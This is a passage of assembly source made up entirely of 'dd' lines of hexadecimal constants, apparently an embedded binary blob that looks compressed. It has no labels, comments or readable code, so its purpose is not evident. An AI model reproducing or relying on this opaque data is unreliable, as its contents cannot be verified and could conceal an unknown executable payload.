64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h dd 712FF83h, 8027730Fh, 351F707Ch, 44E425C6h, 4FE00E00h dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h dd 525F9862h, 7A533530h, 21190325h, 0F150A190h, 77835688h dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h, 5C2C9DAEh dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h, 0F4891BFh dd 82D0EFDh, 81A70064h, 0B6B3DAh, 15730DE0h, 0E0549F2h dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh, 0EBECCC49h dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch dd 0B009873h, 3134C8Dh, 0C61602h, 80D58207h, 0F7D1853Fh dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h, 464E0107h dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh, 0E83B960Ch dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h, 0C40027DDh dd 0F03A2CF3h, 0F730Ah, 290DDA26h, 0CE904349h, 53B80600h dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h, 6BE4002Ah dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h dd 0B871F8h, 250E978Ah, 0F0340F4h, 0B67850Fh, 7606A055h dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h, 56520027h dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh, 302F206Eh dd 42E4F178h, 1C0E397Eh dd 0E7760410h, 0A8340E1h, 2B110082h, 5025D453h, 8B0BB273h dd 33E9ABAh, 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh dd 408A07D0h, 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h dd 71060B41h, 70809DDBh, 0ACE6E2F3h, 85C33803h, 0B9038B61h dd 53F8F420h, 1F30E618h, 3085DF2h, 98DB0CE6h, 0F410E099h dd 8D122E7Ch, 0E0E3353h, 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh dd 0F2015AC3h, 76F68500h, 3C647163h, 0CAE029h, 0EEE0E9C1h dd 35FF983h, 1F7E800h, 0E78166FAh, 0BA0F00FFh, 2CE5C26h dd 0C7003BF8h, 9DD02177h, 10CDF5h, 4E14069Fh, 0E09373FAh dd 0B507247Eh, 47E88801h, 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch dd 1F0F5372h, 0CC10E4C6h, 4E0002E0h, 0B8B9D75h, 0E498C985h dd 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah, 0E54EB014h, 2BA9008Ch dd 4C770CBAh, 0DAB8177Dh, 0C2690145h, 30080110h, 0CE1F71A7h dd 3ABE5920h, 16378099h, 0B1438D27h, 0E06E00C3h, 0E9775A35h dd 0CC03CA55h, 0C085C950h, 0C73CA876h, 0D6810033h, 0F30C5D70h dd 100E540h, 0DC92772h, 71C2F002h, 0D68B3E13h, 0CF507480h dd 0F8D103D2h, 87057539h, 0CEB3201h, 0B4A6B080h, 0A02F0054h dd 91757948h, 11FE42A5h, 0B657700h, 75676B5h, 5478ABh dd 9D7B22BBh, 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h, 0A049481Ch dd 0CE34A11Dh, 52E0880Ah, 0FED0845Fh, 77F23200h, 0C8F94CAh dd 0FAD1004Bh, 8A7F2089h, 11005653h, 0B8E1CB27h, 0ADA17h dd 76F4F0Fh, 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh, 759F008Bh dd 5334AA87h, 0C7027C8Dh, 0CA1E88A3h, 840740C3h, 28A00D5h dd 274307ECh, 0DE004647h, 7570B033h, 28E6E8h, 2A09BC80h dd 4B26048Bh, 16C78A00h, 0F13E0649h, 0F40000Dh, 0C8E65B81h dd 7D3B0C34h, 37311824h, 5711DCh, 40478014h, 0D97B754Bh dd 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h, 0F8E280ECh dd 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h, 0D9B013FCh dd 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh, 0A5799FD7h dd 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h, 0C70A57E2h dd 88A11C00h, 0F21F75Dh, 408C0059h, 183C8D12h, 307F2AC3h dd 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h, 0FC3245F3h dd 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h, 0E07D3173h dd 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch, 9BDD88B0h dd 1A1D0C71h, 0A89DE410h, 6EB78680h, 0C776B4h, 0DE3D34Ah dd 0D6E8FD4Fh, 7E400401h, 4730BE21h, 0E0446130h, 13FF7D18h dd 1A2CBFh, 0AF4ED6FAh, 0F2B89F23h, 59760E9h, 5FE4FE00h dd 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h, 33ADFC00h dd 8D487C06h, 89231FBBh, 0A7084157h, 61042035h, 904EF815h dd 54A2FE03h, 8041C59Ch, 7444342h, 48474645h, 4B4A0049h dd 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h, 62615A59h dd 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch, 7271706Fh dd 75740073h, 780E7776h, 307A79h, 34333231h, 37361C35h dd 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh, 703A3B2Ch dd 5C5F002Dh, 927222Ah, 91000D0Ah, 0AAE4C4E0h, 7388E867h dd 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h, 1490B926h dd 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h, 5C49E960h dd 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh, 96FC6B5Bh dd 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h, 0FC66C204h dd 190759E4h, 941FEBECh, 956BC70h, 4052008Ah, 0D4CF5C7Ch dd 33001571h, 0FF273929h, 3C4BA3F4h, 790010FDh, 83481F05h dd 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h, 0C6660347h dd 11F01600h, 5521429Fh, 4ABF0051h, 6C7EE292h, 0BB0076E1h dd 0EB071569h, 41B929h, 0DC30630Ah, 0AB83E806h, 5600807Eh dd 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h, 8F82B80Eh dd 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h, 0C7143032h dd 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h, 41FA6E7Eh dd 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh, 15684A00h dd 648CD44h, 387A4Bh, 519E418Bh, 2F02BAF3h, 921ACF07h dd 0E83084E9h, 7BDD206h, 0A7EC4FF9h, 2ADF90C2h, 2004589h dd 169F4999h, 0ECD9C65Ah, 6B7623h, 2F42C288h, 0F0CA36FFh dd 0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h, 627F6FD8h dd 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh, 0D4952D01h dd 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h, 50B1C594h dd 2132839Fh, 0B2525207h, 62B071C4h, 790B0A0Dh, 1EB473FFh dd 15D80CAh, 0B186A9C6h, 0A33EF44Fh, 50495307h, 16B5B95Bh dd 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h, 52250194h dd 4690200h, 484EB36Fh, 0A25F0010h, 0BF446CF0h, 25001609h dd 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh, 47D10B00h dd 75484B0Dh, 782E74EEh, 0FAB70066h, 498A01D3h, 0C0F8840h dd 206A4306h, 0E183CAC1h, 6CD5003Fh, 184C2596h, 0EAFA270Eh dd 6031E70Fh, 0D6D4006Bh, 79FC6ACh, 68B1527Fh, 900A97C9h dd 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h, 477CE29Fh dd 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h, 5F1CF405h dd 8F000F15h, 334E99A4h, 0EC859A23h, 0F36A0058h, 0CAA15AA9h dd 761E05F1h, 308A2B8Dh, 7C01BB3Ah, 0E0EFE378h, 0A2D0D6F5h dd 0A4EC64h, 0F692FF30h, 75023A07h, 0E2C64600h, 94D701EFh dd 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h, 5E90148Dh dd 139629h, 0C9241C1Eh, 0FE0274B1h, 1ADC0900h, 0D280B8FFh dd 3B5E079h, 754F4304h, 7DD830D3h, 10017414h, 0C45B1FFh dd 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h, 341D0F65h dd 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh, 582E38h dd 0F02D704Fh, 10E9A151h, 0A2271801h, 74532F85h, 0BCD1D8h dd 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h, 1E8AEB5h dd 0F6B02BCFh, 20E6D655h, 0F0122C84h, 9CECC3FAh, 0D465007Eh dd 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h, 12EC04B9h dd 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h, 1EAED4A3h dd 8FCAA4E4h, 5A3DD69h, 0DCB87610h, 0D0018BD7h, 89DF6F62h dd 9220A270h, 107891h, 13A9D812h, 2C78F0CBh, 80060B00h dd 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh, 154F1B00h dd 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh, 0F4716001h dd 91A5C438h, 875F0h, 0F24A5A33h, 44022717h, 41A4EF00h dd 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh, 57018D7Ah dd 0E8719D0Dh, 46C847BFh, 17C800A0h, 5FC34287h, 34029CDDh dd 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h, 19681384h dd 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h, 2C000279h dd 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h, 0C585F71Fh dd 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h, 0A094B17h dd 0CDE7B1h, 3A25A58Eh, 0E6AAEC29h, 93FA0044h, 0D01B9266h dd 5E01BB65h, 14B45026h, 2AD419F2h, 0C79F0987h, 0E60089A9h dd 0AF560574h, 316F839h, 9CB466ACh, 0D88CC364h, 758BDDh dd 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h, 0BA727Eh dd 27841D5h, 0C327116Ch dd 4B8E5901h, 0A6B01E5Fh, 40D2ECh, 7517496Fh, 227C3966h dd 0A39F4507h, 86202F71h, 0D94161h, 7BDB2529h, 676F881h dd 35A85500h, 75AE2638h, 0CB450093h, 1834EA74h, 232E04DFh dd 0AC034A08h, 0E88237EBh, 641AE2h, 0A6432101h, 9854B34Ah dd 0FC93B909h, 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h dd 0B062A7h, 42BFC963h, 1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah dd 124F1D5Bh, 9C5C044h, 2C464772h, 40703802h, 7D94C0AAh dd 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh, 8D268F00h, 7AF2357Bh dd 1AD2052Fh, 0C0F007D3h, 0C2552B85h, 0F4D07800h, 1B3BC13h dd 100B002Eh, 0E881A64Ah, 910F2924h, 60F164A5h, 9F0D9669h dd 95840046h, 866A4BF6h, 0E8075414h, 302B75FCh, 0F0CBE693h dd 0E329BAh, 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h, 5A59A165h dd 70A580F4h, 0A62107E2h, 436C14C4h, 35A94485h, 5F51E0DCh dd 92F46000h, 0C9311EFCh, 0CA090549h, 80405553h, 0C807302Dh dd 94E98800h, 0B6F2E06Ch, 667C08h, 0D806EBD1h, 35F00973h dd 83203E1Ch, 0B8F38100h, 0CEFEEDh, 31EB1C75h, 4FDA8EC1h dd 5BD5E100h, 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h, 61004384h dd 97C447D4h, 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh, 0F0A8E0D6h dd 0BBFC59ADh, 80F3A53Eh, 46712D63h, 7B849743h, 0FC1807B2h dd 518A1403h, 0C09DDF92h, 9EB0D368h, 0F8043Dh, 5DD0D45Fh dd 3CC60150h, 8980B0A2h, 85FC29B7h, 4DEE17A9h, 7B2CDC00h dd 5A241051h, 0E8010021h, 0B1ECDD4Fh, 93057102h, 52DF2347h dd 0F31617C0h, 4FAC0028h, 77E50FCCh, 3E002941h, 0C8099412h dd 1B1697h, 0F9A8072Dh, 7CD15A58h, 0F0564500h, 0BA51F6E6h dd 5B380160h, 0CE077948h, 0B146CCEBh, 10FE8300h, 0C1ECF1EDh dd 0DC95005Eh, 96D37224h, 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh dd 8CB000E6h, 70834FF8h, 7C0058FFh, 3C709EFh, 9160C0h dd 0A8A0048Ah, 3B94980Bh, 61114A00h, 51010244h, 0E3C10012h dd 88C33683h, 71174606h, 2800295Fh, 34B264ABh, 0A58B1DAEh dd 0E45200D2h, 92B2CB1h, 5CC45905h, 0C8016278h, 565B5A02h dd 7F89760h, 8BFC12AAh, 40C2B7F3h, 789E7908h, 0B1A96000h dd 985E58Eh, 0FE500134h, 4D8B42ACh, 0FD94DCDAh, 51E8AFF8h dd 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h, 0CEEA2FA3h dd 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh, 2C29BC6Dh dd 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh, 0ABE8C3C1h dd 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h dd 1C77CEEDh, 61E2BA6h, 814097AAh, 0E38D5426h, 5E280070h dd 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh, 834000E4h dd 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h, 0B7241E79h dd 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh, 891A0010h dd 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h, 0A98D00FEh dd 7ADF1DEh, 6600A5F3h, 2D5B1E29h, 51AABDh, 0CBCC734Ch dd 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h, 7C27785Eh dd 4C0081A9h, 0B22B1ED9h, 3B8352C0h, 0BD0088DAh, 0B3ABFE59h dd 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h, 0AF81EA92h dd 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh, 500EB3Bh dd 570F01B5h, 0C282Ch, 92049EC8h, 0CCE40DC9h, 0EE063Ch dd 10D008D4h, 0F831FCh, 1DD87D89h, 59226421h, 0AC1F34F8h dd 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h, 0BE002B24h dd 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h, 32002126h dd 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah, 600159Bh dd 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh, 9A0B2700h dd 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h, 9600DEFAh dd 1B88CCE8h, 0DC7EADh, 50E94151h, 0FBFE7DBh, 0BCDE6300h dd 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh, 0AC0040B0h dd 39B481B8h, 0F85BC5h, 0B6BE24FCh, 0DC224972h, 20581D73h dd 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh, 0D2732D16h dd 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h dd 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh, 0B6E0DE51h dd 505BAA8h, 64F9E3ECh, 0F195A50Ah, 54189107h, 8F200DBh dd 1FD84293h, 814EB914h, 89D2D0B2h, 0CC1C9E64h, 988603FDh dd 0C80A91D9h, 53AE5Bh, 175874DBh, 0EF0B4A4Eh, 0FF9CF018h dd 0EC7552h, 185F8068h, 0F4E363C1h, 0E02BA00h, 1E4E1077h dd 0E48C01AFh, 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h dd 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h dd 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh dd 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h dd 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh dd 4C0092DFh, 11D46D0h, 0F87032h, 0F4F15DD5h, 0EC933C2h dd 0A9CAD200h, 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h dd 8722703Fh, 0F5933Fh, 8F060F38h, 3BE30811h, 1680FA0Ah dd 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h dd 5C0E479Ch, 79535400h, 694C0901h, 31500062h, 736DC81Eh dd 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h dd 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h dd 0EB124DD3h, 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h dd 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h dd 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh dd 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh dd 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h dd 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh dd 8464BDFh, 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh dd 78B9F6FFh, 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh dd 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h dd 80EDAD2Fh, 6890DD1h, 4938F800h, 5328BAC6h, 0CB150A91h dd 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h, 24C518h, 9C098940h dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h, 26DB2200h dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h, 874F987Fh dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh, 8A032D2h dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h, 5F8BA400h dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h, 66FF9BCh dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h, 9F3C1043h dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h, 212DB350h dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch, 295C0097h dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h dd 7C477574h, 9251EE4h, 37B30FB9h, 0C26308A7h, 8940A2D6h dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h dd 63210069h, 0ECFC6579h, 9400478Dh, 542DF450h, 7F5ABAF0h dd 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h dd 559D8A6h, 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh, 7AC40E11h dd 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh dd 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h, 394F73C0h dd 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch dd 0B85D3207h, 89C9B412h, 26AA00FAh, 82EFF4h, 51CE7D8Dh dd 0FDC39257h, 6642411Eh, 21F34C47h, 387EBC7Ch, 0BF00493Eh dd 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh, 1DA6759Fh dd 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh, 0A5CE0191h dd 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h, 0A829001Ah dd 0DF54E20h, 7BB8BA2Ch, 3F6051ECh, 0BE80D616h, 105E0BB9h dd 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h, 558044BEh dd 3E25D2F4h, 74047864h, 0C0A040FBh, 0F02E13D3h, 0D8482AE8h dd 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h, 5400F8DCh dd 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h, 650078BFh dd 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h, 755CE9F8h dd 1451006Ch, 9EE325Dh, 0E590028Ah, 4DD78970h, 0BE81D489h dd 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h, 1D451723h dd 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h, 7CDE4F4h dd 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh, 1835B59h dd 8E1CC778h, 700AFB45h, 0C90013BBh, 4B7E0D0h, 2659FA5Fh dd 0DE010Dh, 0E7557C8Ah, 0E8074284h, 5319A76Bh, 0FF046FE0h dd 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h, 9880E10Fh dd 0F94594h, 15086EEBh, 81C49610h, 67D38600h, 0A528F895h dd 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h, 3E7DF03Bh dd 0FA4178h, 0B838147Fh, 48A08203h, 0D4287528h, 2421F800h dd 0B1541A22h, 102EC84h, 0AFFB672Dh, 60DC68C2h, 0F4CF45Dh dd 80553EADh, 0B9368BC5h, 3CD20873h, 0B897304Ah, 0EE8800A7h dd 0E4C16D7h, 616C4300h, 1C8E3373h, 0C8460048h, 0ACA754D9h dd 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h, 0B9C0233Eh dd 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h, 36FFC327h dd 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h, 99D4004Ch dd 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h, 0CC563334h dd 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh, 88008398h dd 3B633169h, 7FC99E21h, 0F9E5000Ah, 4E47C14Bh, 0DB98DB75h dd 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h, 20F1407Bh dd 2300DC4Fh, 12C0262Eh, 0E738EDD4h, 36C85E8h, 0F575A8BBh dd 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh, 8D8E00DAh dd 7DD2DC70h, 0D77B86F2h, 4DCB30EBh, 3E73E700h, 1B094892h dd 0D67B16h, 0BEB5205Fh, 6F67699Dh, 2F652500h, 7BBB7389h dd 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h, 7FF5BD48h dd 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh, 1174A03Dh dd 0B239CBh, 0EB057D0Bh, 0FF35EFAAh, 4831B800h, 84D4295Dh dd 34FC0064h, 62B995EDh, 0A800CBF8h, 0D88831FFh, 0E4870803h dd 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h, 7FB58B5Fh dd 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h, 49975E77h dd 50032429h, 94C60329h, 0CEFBECC3h, 0FC7B0A00h, 0ED45AA09h dd 64407A7h, 906A1863h, 86D89A3Bh, 10AE7B00h, 2474DC2Fh dd 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h, 5EEEE674h dd 3F105CB0h, 34818ACCh, 0BA169DF8h, 0BC59C0BEh, 0E484261Eh dd 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h, 42D480A4h dd 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh, 0BD91C52Eh dd 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh, 1FA109Dh dd 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh, 3DE45570h dd 79F0F430h, 3F538B01h, 0D0CFCC9Ch, 0D37330h, 68F810D9h dd 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h, 0FA649793h dd 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh, 43030004h dd 79FA013Eh, 575D9600h, 0CA974E39h, 0E0C7007Ch, 9E14998Bh dd 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h, 824485DAh dd 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h, 6307C2F0h dd 6240F8Bh, 0C5D404BAh, 0DABF3000h, 8DFB0228h, 0C540EBA0h dd 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h, 0CAC0237Ch dd 25F74Ch, 0F64C9B90h, 0B00507h, 0AFECE901h, 0D854DF4Dh dd 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh, 283C3043h dd 48080400h, 200C112Ch, 10440114h, 66D38318h, 0EF0AEC3Ah dd 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h, 2A007586h dd 144642A4h, 12711821h, 0FC7AB5C7h, 0AB770029h, 4163094Ch dd 0B642039Ch, 747B7540h, 66B8DCF3h, 0C300DF29h, 2CBED669h dd 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh, 0B700E99Fh dd 45DD2609h, 600400F3h, 50520717h, 0AE8E2ADh, 0E8813B1Fh dd 0DA097540h, 5A9780h, 7B517358h, 7D0CC5EBh, 257A4B00h dd 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h, 51057724h dd 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h, 7570E579h dd 47C589h, 0F441A74Ch, 0DC867FDBh, 0DB80600h, 0CFA4D27h dd 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh, 13B2F628h dd 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h, 610AC0F6h dd 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h, 0A771AE9Eh dd 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah, 45491926h dd 1602546h, 4CBAC38Ch, 0DCB49535h, 0F7F420F8h, 4301200h dd 16344828h, 1F722Ch, 93FC4978h, 9A2F58A0h, 0E50011Ch dd 13C93840h, 3D907F10h, 0C03E53EDh, 3B46F200h, 0C4972CEh dd 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h, 86260E8h dd 5AC07473h, 0FA9DD29h, 0D5800714h, 0A0240BC9h, 4519127Bh dd 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h, 0C409FAEh dd 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h, 0E400395Ch dd 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h, 0E00355A8h dd 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h, 0B975A775h dd 7208F600h, 277C432Dh, 28393A29h, 0BF1C4412h, 8A0EAA01h dd 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h, 5E079849h, 8A215350h dd 0D45BCFF0h, 0A02A3969h, 4A61804h, 0B100EA42h, 0E790B0C3h dd 0A51D0075h, 74349119h, 3B002B85h, 47763196h, 0CB92Ch dd 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h, 0F9CEC937h dd 83C6DAC3h, 7ABD32A2h, 339000B6h, 681574C5h, 0C8480C2Bh dd 76193C00h, 8B0FC0FBh, 